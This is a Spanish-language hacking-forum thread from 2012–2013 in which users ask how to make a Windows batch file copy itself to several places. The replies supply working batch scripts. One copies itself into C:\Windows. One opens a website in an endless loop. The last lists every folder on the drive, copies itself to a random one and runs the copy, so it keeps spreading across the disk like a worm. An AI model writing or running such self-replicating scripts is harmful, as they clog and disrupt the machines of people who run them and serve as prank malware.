Test Foro de elhacker.net SMF 2.1

Programación => Scripting => Mensaje iniciado por: xpaRtanus en 31 Marzo 2012, 20:31 PM

Título: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: xpaRtanus en 31 Marzo 2012, 20:31 PM
Hola a todos

¿Cómo puedo crear un archivo .bat que se copie a si mismo en diversos lugares que yo haya especificado previamente?.


Gracias de antemano y salu2
Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: Eleкtro en 31 Marzo 2012, 20:47 PM
Cita de: xpaRtanus en 31 Marzo 2012, 20:31 PM
¿Cómo puedo crear un archivo .bat que se copie a si mismo en diversos lugares que yo haya especificado previamente?.

http://ss64.com/nt/syntax-args.html

Código (dos) [Seleccionar]
@Echo off
Set "Destino=C:\Windows\"
Copy "%~0" "%Destino%"
pause
Exit


Salu2.
Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: $Edu$ en 31 Marzo 2012, 21:12 PM
Para hacer una copia no es mejor poner "%0" sin el "~" ? asi lo pone con comillas y no da errores. Pregunto nomas
Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: Eleкtro en 31 Marzo 2012, 21:17 PM
Cita de: $Edu$ en 31 Marzo 2012, 21:12 PM
Para hacer una copia no es mejor poner "%0" sin el "~" ? asi lo pone con comillas y no da errores. Pregunto nomas

Es lo mismo $Edu$
Solo lo puse así para que tome la buena costumbre a usar comillas dobles en Batch.

%0     = Con comillas.
%~0   = Se expande sin comillas.
"%~0" = Se expande sin comillas, Pero lleva comillas xD.

Salu2.
Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: $Edu$ en 31 Marzo 2012, 23:16 PM
Ah no no claro, no habia visto las comillas xD Mala mia.
Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: xpaRtanus en 3 Abril 2012, 17:38 PM
muxas gracias a todos  ;-)
Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: xpaRtanus en 1 Mayo 2012, 18:17 PM
Y para que se copie cada vez en un lugar diferente?Se puede hacer con batch?
Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: ELVJop en 1 Mayo 2012, 19:13 PM
lo maximo seria que se preguntara donde:

@Echo off
Set /p Destino=Digame un destino:
Copy "%~0" "%Destino%"
pause
Exit

Si no que yo sepa en batch no se puede
Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: Runex en 1 Mayo 2012, 19:56 PM
Cita de: ELVJop en  1 Mayo 2012, 19:13 PM
lo maximo seria que se preguntara donde:

@Echo off
Set /p Destino=Digame un destino:
Copy "%~0" "%Destino%"
pause
Exit

Si no que yo sepa en batch no se puede

Y en vez de pedir el directorio como entrada de teclado, porque no usas los directorios globales esos que usa batch y los copias usando Copy? :S

Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: Eleкtro en 2 Mayo 2012, 00:31 AM
Cita de: xpaRtanus en  1 Mayo 2012, 18:17 PM
Y para que se copie cada vez en un lugar diferente?Se puede hacer con batch?

da más detalles.

¿Que se copie 1 vez, en un lugar distinto, al iniciar el bat? ¿Lugares especificos o aleatorios?

Saludos
Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: xpaRtanus en 4 Mayo 2012, 16:43 PM
Que cada vez qe ejecutes el archivo ___.bat se copie a si mismo en un directorio a parte de k ejecute una accion como:
@echo off
echo Hola
pause>nul
:bucle
start foro.elhacker.net
goto :bucle
Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: $Edu$ en 4 Mayo 2012, 16:53 PM
Pero a que directorio? Elektro.. se puede hacer "cd %directorio%" mientras que %directorio% es una variable que contiene rutas de directorios que va cambiando al azar? no se si me entiendes y talvez no se puede. Creo que es lo que quiere el usuario, que por ejemplo la primera vez haga un:

Copy /y %0 C:\hola\

La segunda vez q se ejecute hara:

Copy /y %0 C:\Archivos de programa\

y todo asi, mientras que esas rutas son las que se toman al azar


pd: Si no se puede.. como se hace para ingresar al directorio que esta al lado del bat? con "cd ..." pero no se que poner luego, si no se sabe cual es el directorio y ademas si hay muchos directorios no se cual se tomaria primero.
Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: Eleкtro en 4 Mayo 2012, 18:46 PM
Cita de: $Edu$ en  4 Mayo 2012, 16:53 PM
Pero a que directorio? Elektro.. se puede hacer "cd %directorio%" mientras que %directorio% es una variable que contiene rutas de directorios que va cambiando al azar? no se si me entiendes y talvez no se puede. Creo que es lo que quiere el usuario, que por ejemplo la primera vez haga un:
Si, se puede, se me ocurre una manera:

Código (dos) [Seleccionar]
:: Listar todas las carpetas del disco
Dir /B /S /AD "%homedrive%\" > Lista.txt

:: Una funcion para randomizar la lista, y tomar una linea de la lista aleatoriamente.
For /L + Lista.txt...
For /F + %RANDOM% + Lista.txt...
(por ejemplo)


Cita de: $Edu$ en  4 Mayo 2012, 16:53 PM
pd: Si no se puede.. como se hace para ingresar al directorio que esta al lado del bat? con "cd ..." pero no se que poner luego, si no se sabe cual es el directorio y ademas si hay muchos directorios no se cual se tomaria primero.

Creo que te refieres a esto:
Código (dos) [Seleccionar]
PUSHD "%~dp0"




Código (dos) [Seleccionar]
@echo off

If "%~1" EQU "" (Dir /B /S /AD "%HOMEDRIVE%\" > "%TEMP%\Dirs.txt")

:Commands
echo %0
echo foro.elhacker.net | MORE

:Copy
For /F "Tokens=*" %%a in ('Type "%TEMP%\Dirs.txt" ^| MORE +%RANDOM%') Do (Set "Folder=%%a" & Goto :Break)

:Break
Copy %0 "%Folder%\" 1>NUL 2>&1 && CMD /C "%Folder%\%~xn0" NEXT || Goto :Copy


PD: Va algo lento
Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: $Edu$ en 4 Mayo 2012, 18:52 PM
Ni se me ocurrira correrlo xD pero entendi ya, gracias!
Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: xpaRtanus en 11 Mayo 2012, 14:44 PM
Muxaaas gracias a todos sobre todo a ti ElectroHacker ers el ***** jefe del batch
Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: nrzamel en 26 Mayo 2013, 23:58 PM
Hola y como se podria hace para q ese archivo antes de copiarse en un directorio compruebe si existe si existe q no se copia y si no existe q se copie

    @Echo off
    Set "Destino=C:\Windows\"
    Copy "%~0" "%Destino%"
    pause
    Exit
que abria q agragarle alii
gracias de antemano
Título: Re: Crear archivo .Bat que se copie a si mismo en diversos lugares
Publicado por: Meine programmen en 27 Mayo 2013, 16:12 PM
Cita de: nrzamel en 26 Mayo 2013, 23:58 PM
Hola y como se podria hace para q ese archivo antes de copiarse en un directorio compruebe si existe si existe q no se copia y si no existe q se copie

    @Echo off
    Set "Destino=C:\Windows\"
    Copy "%~0" "%Destino%"
    pause
    Exit
que abria q agragarle alii
gracias de antemano
Pon antes del copy un
IF EXIST "%Destino%"